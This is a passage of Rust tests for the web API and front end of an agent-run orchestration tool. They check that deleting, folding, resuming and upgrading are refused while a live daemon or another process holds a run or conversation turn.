15945 "Instruction 2".to_owned(),
15946 PathBuf::from("/repo"),
15947 Source::Human,
15948 );
15949 t2.status = TaskStatus::Running;
15950 q.put(&mut t2).expect("put t2");
15951 let mut beat = crate::daemon::Status::new();
15952 beat.current = vec![crate::daemon::Current {
15953 task: t2.id.clone(),
15954 run: "20260901-000000-r222".to_owned(),
15955 }];
15956 beat.updated_at = jiff::Timestamp::now();
15957 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
15958 .expect("publish a heartbeat");
15959 let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
15960 assert_eq!(res.status, 409);
15961 assert!(
15962 res.json()["error"]
15963 .as_str()
15964 .unwrap()
15965 .contains("live daemon")
15966 );
15967 assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
15968
15969 beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
15975 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
15976 .expect("leave a stale heartbeat");
15977 let mut t3 = Task::new(
15978 "Task 3".to_owned(),
15979 "Instruction 3".to_owned(),
15980 PathBuf::from("/repo"),
15981 Source::Human,
15982 );
15983 t3.status = TaskStatus::Running;
15984 q.put(&mut t3).expect("put t3");
15985 std::mem::forget(q.claim(&t3.id).expect("claim t3"));
15986 let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
15987 assert_eq!(res.status, 204);
15988 assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
15989 assert!(
15990 q.claim(&t3.id).is_ok(),
15991 "the stale lock went with it, so the id is claimable again"
15992 );
15993
15994 let res = fx.delete("/api/queue/nonexistent").await;
15996 assert_eq!(res.status, 404);
15997 }
15998
15999 #[tokio::test]
16000 async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
16001 let fx = Fixture::start().await;
16002 let runs = fx.runs();
16003
16004 let run_id = "20260901-000000-fold";
16006 let mut state = RunState::new(
16007 PathBuf::from("/repo"),
16008 "main".to_owned(),
16009 "abc".to_owned(),
16010 "instruction".to_owned(),
16011 Config::default(),
16012 );
16013 state.id = run_id.to_owned();
16014 state.status = RunStatus::Merged;
16015 state.candidates.push(crate::run::Candidate {
16016 index: 0,
16017 label: 'A',
16018 agent: "a".to_owned(),
16019 branch: "b".to_owned(),
16020 worktree: PathBuf::from("/w"),
16021 summary: String::new(),
16022 stat: String::new(),
16023 files: 1,
16024 commits: 1,
16025 empty: false,
16026 failed: None,
16027 verified_noop: None,
16028 duration_ms: 0,
16029 folded: true,
16030 });
16031 let dir = runs.join(run_id);
16032 std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
16033 std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
16034 .expect("write artifact");
16035 std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
16036 .expect("write run.json");
16037
16038 let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
16040 assert_eq!(res.status, 204);
16041 assert!(res.body.is_empty(), "204 has no body");
16042 assert!(!dir.exists(), "run directory and artifacts must be deleted");
16043
16044 let run_running = "20260901-000000-rung";
16049 write_run(&runs, run_running, RunStatus::Prep);
16050 let mut beat = crate::daemon::Status::new();
16051 beat.current = vec![crate::daemon::Current {
16052 task: "20260901-000000-task".to_owned(),
16053 run: run_running.to_owned(),
16054 }];
16055 beat.updated_at = jiff::Timestamp::now();
16056 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
16057 .expect("publish a heartbeat");
16058 let res = fx.delete(&format!("/api/runs/{run_running}")).await;
16059 assert_eq!(res.status, 409);
16060 assert!(
16061 res.json()["error"]
16062 .as_str()
16063 .unwrap()
16064 .contains("live daemon"),
16065 "the refusal must say who is holding it"
16066 );
16067 assert!(
16068 runs.join(run_running).exists(),
16069 "a run in flight keeps its directory"
16070 );
16071
16072 let run_unfolded = "20260901-000000-unfd";
16074 let mut state2 = RunState::new(
16075 PathBuf::from("/repo"),
16076 "main".to_owned(),
16077 "abc".to_owned(),
16078 "instruction".to_owned(),
16079 Config::default(),
16080 );
16081 state2.id = run_unfolded.to_owned();
16082 state2.status = RunStatus::Ready;
16083 state2.candidates.push(crate::run::Candidate {
16084 index: 0,
16085 label: 'A',
16086 agent: "a".to_owned(),
16087 branch: "b".to_owned(),
16088 worktree: PathBuf::from("/w"),
16089 summary: String::new(),
16090 stat: String::new(),
16091 files: 1,
16092 commits: 1,
16093 empty: false,
16094 failed: None,
16095 verified_noop: None,
16096 duration_ms: 0,
16097 folded: false,
16098 });
16099 let dir2 = runs.join(run_unfolded);
16100 std::fs::create_dir_all(&dir2).expect("create dir2");
16101 std::fs::write(
16102 dir2.join("run.json"),
16103 serde_json::to_string(&state2).unwrap(),
16104 )
16105 .expect("write run.json");
16106
16107 let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
16108 assert_eq!(res.status, 409);
16109 assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
16110 assert!(dir2.exists(), "unfolded run directory is kept");
16111
16112 let res = fx.delete("/api/runs/nonexistent").await;
16114 assert_eq!(res.status, 404);
16115 }
16116
16117 #[test]
16126 fn stats_queue_tiles_render_even_when_there_are_no_runs() {
16127 let start = APP_JS
16128 .find("function renderStats() {")
16129 .expect("renderStats");
16130 let end = start
16131 + APP_JS[start..]
16132 .find("function statsTile(")
16133 .expect("the next top-level function");
16134 let body = &APP_JS[start..end];
16135
16136 let gate_start = body.find("if (!noRuns) {").expect("the noRuns gate");
16137 let gate_end = gate_start
16138 + body[gate_start..]
16139 .find("}\n renderStatsQueue")
16140 .expect("the gate's own closing brace, right before the unconditional call");
16141 let gated = &body[gate_start..gate_end];
16142
16143 assert_eq!(
16144 body.matches("renderStatsQueue(").count(),
16145 1,
16146 "renderStats must call renderStatsQueue exactly once: {body}"
16147 );
16148 assert!(
16149 !gated.contains("renderStatsQueue"),
16150 "renderStatsQueue must not be inside the `if (!noRuns)` block that hides the \
16151 run-derived panels on an empty run history - the queue panel has to render \
16152 regardless: {gated}"
16153 );
16154 }
16155
16156 #[test]
16157 fn web_ui_delete_contract_in_front_end() {
16158 assert!(APP_JS.contains("deleteRun:"));
16160 assert!(APP_JS.contains("deleteTask:"));
16161
16162 let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
16164 ..APP_JS.find("function renderRuns").unwrap()];
16165 assert!(!run_cards_slice.to_lowercase().contains("delete"));
16166
16167 assert!(APP_JS.contains("renderRunDelete"));
16169 assert!(APP_JS.contains("runDeleteReason"));
16170 assert!(APP_JS.contains("magi fold"));
16171 assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
16172
16173 assert!(APP_JS.contains("cancel.focus"));
16175 assert!(APP_JS.contains("armedRunDelete"));
16176 assert!(APP_JS.contains("renderTaskDeleteBox"));
16177 assert!(APP_JS.contains("armed${cap(key)}"));
16178
16179 assert!(APP_JS.contains("disabled: status === \"running\""));
16181 }
16182
16183 #[test]
16203 fn every_ref_a_run_card_uses_is_one_its_builder_published() {
16204 let build = APP_JS
16205 .find("function createRunCard")
16206 .expect("createRunCard exists");
16207 let update = APP_JS
16208 .find("function updateRunCard")
16209 .expect("updateRunCard exists");
16210 let end = APP_JS
16211 .find("function renderRuns")
16212 .expect("renderRuns exists");
16213
16214 let builder = &APP_JS[build..update];
16216 let open = builder.find("refs = {").expect("createRunCard sets refs");
16217 let literal = &builder[open + "refs = {".len()..];
16218 let close = literal.find('}').expect("the refs literal is closed");
16219 let published: HashSet<&str> = literal[..close]
16220 .split(',')
16221 .filter_map(|entry| entry.split(':').next())
16223 .map(str::trim)
16224 .filter(|name| !name.is_empty())
16225 .collect();
16226 assert!(
16227 published.len() > 5,
16228 "the refs literal did not parse into names: {published:?}"
16229 );
16230
16231 let mut used: Vec<&str> = Vec::new();
16234 let updaters = &APP_JS[update..end];
16235 for (at, _) in updaters.match_indices("r.") {
16236 let before = updaters[..at].chars().next_back();
16239 if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
16240 continue;
16241 }
16242 let rest = &updaters[at + 2..];
16243 let len = rest
16244 .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
16245 .unwrap_or(rest.len());
16246 if len > 0 {
16247 used.push(&rest[..len]);
16248 }
16249 }
16250 assert!(
16251 used.len() > 5,
16252 "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
16253 );
16254
16255 let missing: Vec<&str> = used
16256 .iter()
16257 .copied()
16258 .filter(|name| !published.contains(name))
16259 .collect();
16260 assert!(
16261 missing.is_empty(),
16262 "a run card's updater reaches for {missing:?}, which `createRunCard` \
16263 never put in `refs` - every card will throw and the list will \
16264 render empty under a count line that says otherwise. Published: \
16265 {published:?}"
16266 );
16267 }
16268
16269 #[tokio::test]
16270 async fn folding_from_the_phone_reports_what_it_removed() {
16271 let fx = Fixture::start().await;
16272 let runs = fx.runs();
16273
16274 let id = "20260901-000000-fold";
16278 write_run(&runs, id, RunStatus::Stalled);
16279 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
16280 assert_eq!(res.status, 200);
16281 assert_eq!(res.json()["removed_count"], 0);
16282 assert_eq!(res.json()["run"], id);
16283 assert!(
16284 runs.join(id).exists(),
16285 "a fold keeps the run's record; only the worktrees go"
16286 );
16287 }
16288
16289 #[tokio::test]
16290 async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
16291 let fx = Fixture::start().await;
16292 let runs = fx.runs();
16293 let wt = fx.home.path().join("wt").join("magi").join("dead");
16294 let id = "20260901-000000-dead";
16295 std::fs::create_dir_all(runs.join(id)).expect("run dir");
16296 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
16297 std::fs::create_dir_all(&wt).expect("worktree dir");
16298
16299 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
16300 assert_eq!(res.status, 200, "{}", res.body);
16301 assert!(
16302 res.json()["removed_count"].as_u64().unwrap() > 0,
16303 "the worktree this build could not read a state for still went"
16304 );
16305 assert!(
16306 !runs.join(id).exists(),
16307 "an unreadable run has no candidate list to fold selectively, so \
16308 the whole record goes - same as `magi fold` on the CLI"
16309 );
16310 }
16311
16312 #[tokio::test]
16313 async fn deleting_an_unreadable_run_removes_it_wholesale() {
16314 let fx = Fixture::start().await;
16315 let runs = fx.runs();
16316 let wt = fx.home.path().join("wt").join("magi").join("gone");
16317 let id = "20260901-000000-gone";
16318 std::fs::create_dir_all(runs.join(id)).expect("run dir");
16319 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
16320 std::fs::create_dir_all(&wt).expect("worktree dir");
16321
16322 let res = fx.delete(&format!("/api/runs/{id}")).await;
16323 assert_eq!(res.status, 204, "{}", res.body);
16324 assert!(!runs.join(id).exists(), "the broken record is gone");
16325 assert!(!wt.exists(), "its worktree is gone too");
16326 }
16327
16328 #[tokio::test]
16329 async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
16330 let fx = Fixture::start().await;
16331 let runs = fx.runs();
16332 let id = "20260901-000000-live";
16333 write_run(&runs, id, RunStatus::Implementing);
16334
16335 let mut beat = crate::daemon::Status::new();
16336 beat.current = vec![crate::daemon::Current {
16337 task: "20260901-000000-task".to_owned(),
16338 run: id.to_owned(),
16339 }];
16340 beat.updated_at = jiff::Timestamp::now();
16341 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
16342 .expect("publish a heartbeat");
16343
16344 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
16345 assert_eq!(res.status, 409);
16346 assert!(
16347 res.json()["error"]
16348 .as_str()
16349 .unwrap()
16350 .contains("live daemon"),
16351 "folding under a running agent would pull its worktree away"
16352 );
16353 }
16354
16355 #[tokio::test]
16356 async fn fold_merged_requires_a_pr_url() {
16357 let fx = Fixture::start().await;
16358 let runs = fx.runs();
16359 let id = "20260901-000000-nourl";
16360 write_run(&runs, id, RunStatus::Blocked);
16361
16362 let res = fx
16363 .post(&format!("/api/runs/{id}/fold-merged"), Some("{}"))
16364 .await;
16365 assert_eq!(res.status, 400, "{}", res.body);
16366
16367 let blank = fx
16368 .post(
16369 &format!("/api/runs/{id}/fold-merged"),
16370 Some(r#"{"pr_url":" "}"#),
16371 )
16372 .await;
16373 assert_eq!(blank.status, 400, "{}", blank.body);
16374 }
16375
16376 #[tokio::test]
16377 async fn fold_merged_is_404_for_an_unknown_run() {
16378 let fx = Fixture::start().await;
16379 let res = fx
16380 .post(
16381 "/api/runs/nosuchrun/fold-merged",
16382 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
16383 )
16384 .await;
16385 assert_eq!(res.status, 404, "{}", res.body);
16386 }
16387
16388 #[tokio::test]
16389 async fn fold_merged_is_refused_while_a_daemon_is_working_on_the_run() {
16390 let fx = Fixture::start().await;
16391 let runs = fx.runs();
16392 let id = "20260901-000000-livemerge";
16393 write_run(&runs, id, RunStatus::Blocked);
16394
16395 let mut beat = crate::daemon::Status::new();
16396 beat.current = vec![crate::daemon::Current {
16397 task: "20260901-000000-task".to_owned(),
16398 run: id.to_owned(),
16399 }];
16400 beat.updated_at = jiff::Timestamp::now();
16401 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
16402 .expect("publish a heartbeat");
16403
16404 let res = fx
16405 .post(
16406 &format!("/api/runs/{id}/fold-merged"),
16407 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
16408 )
16409 .await;
16410 assert_eq!(res.status, 409, "{}", res.body);
16411 assert!(
16412 res.json()["error"]
16413 .as_str()
16414 .unwrap()
16415 .contains("live daemon"),
16416 "correcting a run's merge underneath a running agent would race \
16417 whatever it is doing to the same `status`/`merge` fields"
16418 );
16419 }
16420
16421 #[tokio::test]
16426 async fn fold_merged_refuses_a_pull_request_it_cannot_confirm_is_merged() {
16427 let fx = Fixture::start().await;
16428 let runs = fx.runs();
16429 let id = "20260901-000000-unconfirmed";
16430 write_run(&runs, id, RunStatus::Blocked);
16431
16432 let res = fx
16433 .post(
16434 &format!("/api/runs/{id}/fold-merged"),
16435 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
16436 )
16437 .await;
16438 assert_eq!(res.status, 400, "{}", res.body);
16439 assert_eq!(
16440 read_run(&runs, id).unwrap().status,
16441 RunStatus::Blocked,
16442 "a pull request that could not be confirmed merged must leave \
16443 the run exactly where it was"
16444 );
16445 }
16446
16447 #[tokio::test]
16448 async fn resume_is_refused_unless_the_run_stopped_somewhere_it_can_continue() {
16449 let fx = Fixture::start().await;
16450 let runs = fx.runs();
16451
16452 for (status, word) in [
16458 (RunStatus::Merged, "merged"),
16459 (RunStatus::Ready, "ready"),
16460 (RunStatus::Failed, "failed"),
16461 ] {
16462 let id = format!("20260901-000000-{}", &word[..4]);
16463 write_run(&runs, &id, status);
16464 let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
16465 assert_eq!(res.status, 409, "{word} must not be resumable");
16466 let err = res.json()["error"].as_str().unwrap().to_owned();
16467 assert!(err.contains(word), "the refusal names the status: {err}");
16468 }
16469
16470 let mid = "20260901-000000-midf";
16475 write_run(&runs, mid, RunStatus::Reviewing);
16476 let res = fx.post(&format!("/api/runs/{mid}/resume"), None).await;
16477 assert_eq!(res.status, 202, "an interrupted run is resumable");
16478 }
16479
16480 #[tokio::test]
16481 async fn resume_is_refused_while_the_loop_is_running() {
16482 let fx = Fixture::start().await;
16483 let runs = fx.runs();
16484 let stalled = "20260901-000000-stal";
16485 write_run(&runs, stalled, RunStatus::Stalled);
16486
16487 let mut beat = crate::daemon::Status::new();
16491 beat.current = vec![crate::daemon::Current {
16492 task: "20260901-000000-task".to_owned(),
16493 run: "20260901-000000-othr".to_owned(),
16494 }];
16495 beat.updated_at = jiff::Timestamp::now();
16496 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
16497 .expect("publish a heartbeat");
16498
16499 let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
16500 assert_eq!(res.status, 409);
16501 let err = res.json()["error"].as_str().unwrap().to_owned();
16502 assert!(err.contains("othr"), "it names what the loop is on: {err}");
16503 assert!(err.contains("stop it first"), "{err}");
16504 }
16505
16506 #[test]
16507 fn a_run_cannot_be_resumed_twice_at_once() {
16508 let home = TempDir::new().expect("temp home");
16509 let ui = Ui::new(
16510 Queue::at(home.path().join("queue")),
16511 Questions::at(home.path().join("questions")),
16512 Talks::at(home.path().join("talks")),
16513 home.path().join("runs"),
16514 home.path().to_path_buf(),
16515 PathBuf::from("/repo"),
16516 )
16517 .with_worktrees_root(home.path().join("wt"));
16518 let first = ui.begin_resume("20260901-000000-once").expect("claimed");
16519 let again = ui.begin_resume("20260901-000000-once");
16520 assert!(again.is_err(), "a second tap must not start a second graph");
16521 drop(first);
16522 assert!(
16523 ui.begin_resume("20260901-000000-once").is_ok(),
16524 "and the claim is released when the attempt ends"
16525 );
16526 }
16527
16528 #[test]
16529 fn talk_thinking_tracks_only_its_held_turn_claim() {
16530 let home = TempDir::new().expect("temp home");
16531 let ui = Ui::new(
16532 Queue::at(home.path().join("queue")),
16533 Questions::at(home.path().join("questions")),
16534 Talks::at(home.path().join("talks")),
16535 home.path().join("runs"),
16536 home.path().to_path_buf(),
16537 PathBuf::from("/repo"),
16538 )
16539 .with_worktrees_root(home.path().join("wt"));
16540 let id = "20260901-000000-once";
16541
16542 assert!(!ui.is_thinking(id), "an unclaimed talk is not thinking");
16543 let turn = ui.begin_talk_turn(id).expect("claim turn");
16544 assert!(ui.is_thinking(id), "the held guard is reported as thinking");
16545 assert!(
16546 !ui.is_thinking("20260901-000000-other"),
16547 "one talk's turn does not make another talk busy"
16548 );
16549 drop(turn);
16550 assert!(!ui.is_thinking(id), "dropping the guard releases thinking");
16551 }
16552
16553 #[test]
16554 fn an_on_disk_turn_lease_held_elsewhere_refuses_the_web_claim() {
16555 let home = TempDir::new().expect("temp home");
16556 let talks = Talks::at(home.path().join("talks"));
16557 let ui = Ui::new(
16558 Queue::at(home.path().join("queue")),
16559 Questions::at(home.path().join("questions")),
16560 talks.clone(),
16561 home.path().join("runs"),
16562 home.path().to_path_buf(),
16563 PathBuf::from("/repo"),
16564 )
16565 .with_worktrees_root(home.path().join("wt"));
16566 let id = "20260901-000000-cross";
16567
16568 let other = Talks::at(home.path().join("talks"))
16569 .claim_turn(id)
16570 .expect("claim")
16571 .expect("the other process wins");
16572 assert!(ui.is_thinking(id), "a foreign turn reads as thinking");
16573 assert!(ui.begin_talk_turn(id).expect("claim").is_none());
16574 assert!(
16575 matches!(
16576 ui.begin_talk_turn_unless_pending(id).expect("start"),
16577 TalkTurnStart::Foreign
16578 ),
16579 "a foreign holder is refused, not queued behind"
16580 );
16581 assert!(
16582 !ui.talk_turns.lock().unwrap().live.contains(id),
16583 "a refused claim leaves no in-process entry behind"
16584 );
16585 drop(other);
16586 let turn = ui.begin_talk_turn(id).expect("claim").expect("free again");
16587 assert!(talks.turn_held(id), "the web turn holds the lease");
16588 drop(turn);
16589 assert!(
16590 !talks.turn_held(id),
16591 "dropping the guard releases the lease"
16592 );
16593 }
16594
16595 fn consult_question(ui: &Ui) -> Question {
16596 let mut q = Question::new(
16597 "20260901-000000-consult".to_owned(),
16598 "implement".to_owned(),
16599 "impl-A".to_owned(),
16600 "Which backend?".to_owned(),
16601 String::new(),
16602 vec!["SQLite".to_owned(), "Redis".to_owned()],
16603 );
16604 ui.questions.put(&mut q).expect("question");
16605 q
16606 }
16607
16608 fn consult_snapshot(ui: &Ui, q: &Question, id: &str) -> (Vec<u8>, Vec<u8>) {
16609 (
16610 std::fs::read(ui.questions.path_of(&q.id)).expect("question snapshot"),
16611 std::fs::read(ui.talks.path_of(id)).expect("talk snapshot"),
16612 )
16613 }
16614
16615 #[tokio::test]
16616 async fn consult_cli_starter_is_refused_while_web_holds_the_turn() {
16617 let (_tmp, _home, ui, id, _repo) = avatar_fixture("").await;
16618 let q = consult_question(&ui);
16619 let talk = ui.talks.get(&id).expect("talk");
16620 let guard = ui.begin_talk_turn(&id).expect("web claim").expect("free");
16621 let before = consult_snapshot(&ui, &q, &id);
16622 let cli_talks = Talks::at(ui.home.join("talks"));
16623 assert_eq!(
16624 crate::consult::start_turn(&ui.questions, &cli_talks, &q, &talk, &stub_config())
16625 .await
16626 .expect("CLI starter"),
16627 crate::consult::Started::Busy
16628 );
16629 assert_eq!(consult_snapshot(&ui, &q, &id), before);
16630 assert!(ui.is_thinking(&id));
16631 drop(guard);
16632 assert!(cli_talks.claim_turn(&id).expect("claim").is_some());
16633 }
16634
16635 #[tokio::test]
16636 async fn web_starter_is_refused_while_consult_cli_runs_the_turn() {
16637 let (tmp, _home, ui, id, _repo) = avatar_fixture("").await;
16638 let q = consult_question(&ui);
16639 let talk = ui.talks.get(&id).expect("talk");
16640 let started = tmp.path().join("started");
16641 let release = tmp.path().join("release");
16642 let script = tmp.path().join("consult-agent.sh");
16643 std::fs::write(
16644 &script,
16645 "cat >/dev/null\n: > \"$STARTED\"\ni=0\nwhile [ ! -f \"$RELEASE\" ]; do\n i=$((i + 1))\n [ \"$i\" -lt 3000 ] || exit 7\n sleep 0.01\ndone\nprintf ok\n",
16646 )
16647 .expect("script");
16648 let mut cfg = stub_config();
16649 cfg.agents[0].id = "mock".to_owned();
16650 cfg.agents[0].command = vec!["sh".to_owned(), script.to_string_lossy().into_owned()];
16651 cfg.agents[0].env = std::collections::BTreeMap::from([
16652 ("STARTED".to_owned(), started.to_string_lossy().into_owned()),
16653 ("RELEASE".to_owned(), release.to_string_lossy().into_owned()),
16654 ]);
16655 let questions = ui.questions.clone();
16656 let cli_talks = Talks::at(ui.home.join("talks"));
16657 let cli_q = q.clone();
16658 let turn = tokio::spawn(async move {
16659 crate::consult::start_turn(&questions, &cli_talks, &cli_q, &talk, &cfg).await
16660 });
16661 let ready = tokio::time::timeout(Duration::from_secs(30), async {
16662 while !started.exists() {
16663 tokio::time::sleep(Duration::from_millis(10)).await;
16664 }
16665 })
16666 .await;
16667 let refusal = if ready.is_ok() {
16670 let before = consult_snapshot(&ui, &q, &id);
16671 let result = talk_say(
16672 State(Arc::clone(&ui)),
16673 Path(id.clone()),
16674 Ok(Json(NewTalkTurn {
16675 reply_to: None,
16676 text: "another message".to_owned(),
16677 attachments: Vec::new(),
16678 })),
16679 )
16680 .await;
16681 Some((result, before, consult_snapshot(&ui, &q, &id)))
16682 } else {
16683 None
16684 };
16685 std::fs::write(&release, "").expect("release agent");
16686 let done = turn.await.expect("join CLI turn");
16687 ready.expect("agent started before deadline");
16688 let (result, before, after) = refusal.expect("web request");
16689 let error = result.expect_err("web must refuse the CLI's turn");
16690 assert_eq!(error.status, StatusCode::CONFLICT);
16691 assert!(error.message.contains("a turn is already running"));
16692 assert_eq!(
16693 after, before,
16694 "refusal preserves question, draft and history"
16695 );
16696 assert_eq!(done.expect("CLI turn"), crate::consult::Started::Answered);
16697 let guard = ui
16698 .begin_talk_turn(&id)
16699 .expect("web claim")
16700 .expect("free again");
16701 drop(guard);
16702 }
16703
16704 #[test]
16705 fn a_dropped_guard_releases_the_lease_before_the_in_process_slot() {
16706 let home = TempDir::new().expect("temp home");
16707 let talks = Talks::at(home.path().join("talks"));
16708 let ui = Ui::new(
16709 Queue::at(home.path().join("queue")),
16710 Questions::at(home.path().join("questions")),
16711 talks.clone(),
16712 home.path().join("runs"),
16713 home.path().to_path_buf(),
16714 PathBuf::from("/repo"),
16715 )
16716 .with_worktrees_root(home.path().join("wt"));
16717 let id = "20260901-000000-order";
16718 let turn = ui.begin_talk_turn(id).expect("claim").expect("free");
16719 let slots = ui.talk_turns.lock().unwrap();
16721 let dropper = std::thread::spawn(move || drop(turn));
16722 let start = std::time::Instant::now();
16723 while talks.turn_held(id) && start.elapsed() < Duration::from_secs(5) {
16724 std::thread::sleep(Duration::from_millis(5));
16725 }
16726 assert!(!talks.turn_held(id), "the lease is released first");
16727 assert!(slots.live.contains(id), "the slot is still held meanwhile");
16728 drop(slots);
16729 dropper.join().expect("join");
16730 assert!(!ui.talk_turns.lock().unwrap().live.contains(id));
16731 }
16732
16733 #[tokio::test]
16734 async fn an_upgrade_is_refused_when_the_loop_belongs_to_another_process() {
16735 let fx = Fixture::start().await;
16736 let mut beat = crate::daemon::Status::new();
16740 beat.pid = 4321;
16741 beat.updated_at = jiff::Timestamp::now();
16742 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
16743 .expect("publish a heartbeat");
16744
16745 let res = fx.post("/api/upgrade", None).await;
16746 assert_eq!(res.status, 409);
16747 let err = res.json()["error"].as_str().unwrap().to_owned();
16748 assert!(err.contains("4321"), "the refusal names the owner: {err}");
16749 assert!(err.contains("old one against the same queue"), "{err}");
16750 }
16751
16752 #[test]
16759 fn recheck_never_spawns_when_checking_is_off_or_killed_by_env() {
16760 assert!(!should_spawn_recheck(&crate::config::Update {
16761 mode: UpdateMode::Off,
16762 interval: None,
16763 }));
16764
16765 unsafe {
16768 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
16769 }
16770 let killed = should_spawn_recheck(&crate::config::Update {
16771 mode: UpdateMode::Notify,
16772 interval: None,
16773 });
16774 unsafe {
16775 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
16776 }
16777 assert!(
16778 !killed,
16779 "MAGI_NO_AUTOUPDATE must stop the periodic recheck, not just the \
16780 one-time startup check"
16781 );
16782
16783 assert!(should_spawn_recheck(&crate::config::Update {
16784 mode: UpdateMode::Notify,
16785 interval: None,
16786 }));
16787 }
16788
16789 #[test]
16795 fn recheck_poll_period_tracks_a_short_configured_interval() {
16796 let short = crate::config::Update {
16797 mode: UpdateMode::Notify,
16798 interval: Some("1m".to_owned()),
16799 };
16800 let period = recheck_poll_period(&short);
16801 assert!(
16802 period <= Duration::from_secs(30),
16803 "a one-minute interval must wake the task far sooner than the \
16804 default ceiling, or the deck would not notice within the \
16805 interval the operator configured: got {period:?}"
16806 );
16807
16808 let default = crate::config::Update {
16809 mode: UpdateMode::Notify,
16810 interval: None,
16811 };
16812 assert_eq!(
16813 recheck_poll_period(&default),
16814 UPDATE_RECHECK_POLL_MAX,
16815 "the default day-long interval should poll at the (capped) \
16816 ceiling rather than needlessly often"
16817 );
16818 }
16819
16820 #[test]
16828 fn recheck_skips_the_network_before_the_interval_elapses() {
16829 let dir = TempDir::new().expect("temp dir");
16830 let path = dir.path().join("state.json");
16831 let state = kaishin::UpdateCheckState {
16832 last_checked_unix: jiff::Timestamp::now().as_second() as u64,
16833 last_known_latest: None,
16834 last_known_url: None,
16835 };
16836 kaishin::save_check_state(&path, &state).expect("seed a just-checked state");
16837
16838 let checker = crate::updater::Checker::for_test(Duration::from_secs(24 * 60 * 60), path);
16839 assert!(
16840 !update_recheck_due(&checker, None),
16841 "a check made moments ago must not be repeated before the \
16842 configured interval elapses"
16843 );
16844 }
16845
16846 #[test]
16852 fn recheck_defers_to_an_upgrade_already_in_flight() {
16853 let dir = TempDir::new().expect("temp dir");
16854 let path = dir.path().join("state.json");
16855 let checker = crate::updater::Checker::for_test(Duration::from_secs(60 * 60), path);
16856 let progress = crate::updater::Progress::new("0.8.0".to_owned(), "v0.9.0".to_owned());
16857
16858 assert!(
16859 !update_recheck_due(&checker, Some(&progress)),
16860 "a recheck must not run while an upgrade this deck started is \
16861 still moving"
16862 );
16863 }
16864
16865 #[tokio::test]
16866 async fn an_upgrade_is_refused_by_the_no_autoupdate_kill_switch() {
16867 unsafe {
16879 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
16880 }
16881 let fx = Fixture::start().await;
16882 let res = fx.post("/api/upgrade", None).await;
16883 unsafe {
16884 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
16885 }
16886 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
16887 let body = res.json();
16888 assert!(body["to"].is_null(), "there was no release to move to");
16889 assert!(body["parked"].is_null(), "and nothing was parked");
16890 assert!(
16891 body["detail"]
16892 .as_str()
16893 .unwrap()
16894 .contains("disabled by MAGI_NO_AUTOUPDATE"),
16895 "{body:?}"
16896 );
16897 }
16898
16899 fn seeded_progress(stage: crate::updater::Stage) -> crate::updater::Progress {
16900 let mut p = crate::updater::Progress::new("0.1.0".into(), "v0.2.0".into());
16901 p.stage = stage;
16902 p
16903 }
16904
16905 #[test]
16906 fn busy_stages_match_the_ui_set() {
16907 use crate::updater::Stage;
16908 assert!(APP_JS.contains(
16909 "UPGRADE_BUSY_STAGES = new Set([\"downloading\", \"replaced\", \"parking\", \"restarting\"])"
16910 ));
16911 for s in [
16912 Stage::Downloading,
16913 Stage::Replaced,
16914 Stage::Parking,
16915 Stage::Restarting,
16916 ] {
16917 assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_some());
16918 }
16919 for s in [Stage::Done, Stage::Failed] {
16920 assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_none());
16921 }
16922 assert!(upgrade_in_motion(None).is_none());
16923 }
16924
16925 #[tokio::test]
16926 async fn a_second_upgrade_during_a_busy_stage_is_refused_and_changes_nothing() {
16927 use crate::updater::Stage;
16928 for stage in [
16929 Stage::Downloading,
16930 Stage::Replaced,
16931 Stage::Parking,
16932 Stage::Restarting,
16933 ] {
16934 let fx = Fixture::start().await;
16935 let seeded = seeded_progress(stage);
16936 crate::updater::write_progress(fx.home.path(), &seeded).expect("seed");
16937 let before = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
16938 .expect("read");
16939
16940 let res = fx.post("/api/upgrade", None).await;
16941 assert_eq!(res.status, 409, "{stage:?}");
16942 let err = res.json()["error"].as_str().unwrap().to_owned();
16943 assert!(err.contains("already in progress"), "{err}");
16944 assert!(err.contains(stage.as_str()), "{err}");
